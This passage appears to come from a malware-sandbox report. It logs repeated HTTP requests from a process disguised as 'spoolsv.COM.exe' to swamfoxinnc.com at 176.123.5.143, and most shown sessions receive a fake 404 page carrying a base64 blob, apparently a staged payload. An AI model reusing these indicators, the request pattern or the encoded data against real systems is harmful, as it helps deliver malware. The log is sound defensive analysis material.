2024-12-23 06:39:04 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:39:04 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:39:04 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:39:04 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.10	49944	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:39:06 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:39:08 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:39:07 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:39:08 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:39:08 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:39:08 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:39:08 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.10	49951	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:39:10 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:39:11 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:39:11 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:39:11 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:39:11 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:39:11 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:39:11 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.10	49963	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:39:13 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:39:15 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:39:14 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:39:15 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:39:15 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:39:15 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:39:15 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.10	49973	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:39:17 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:39:18 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:39:18 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
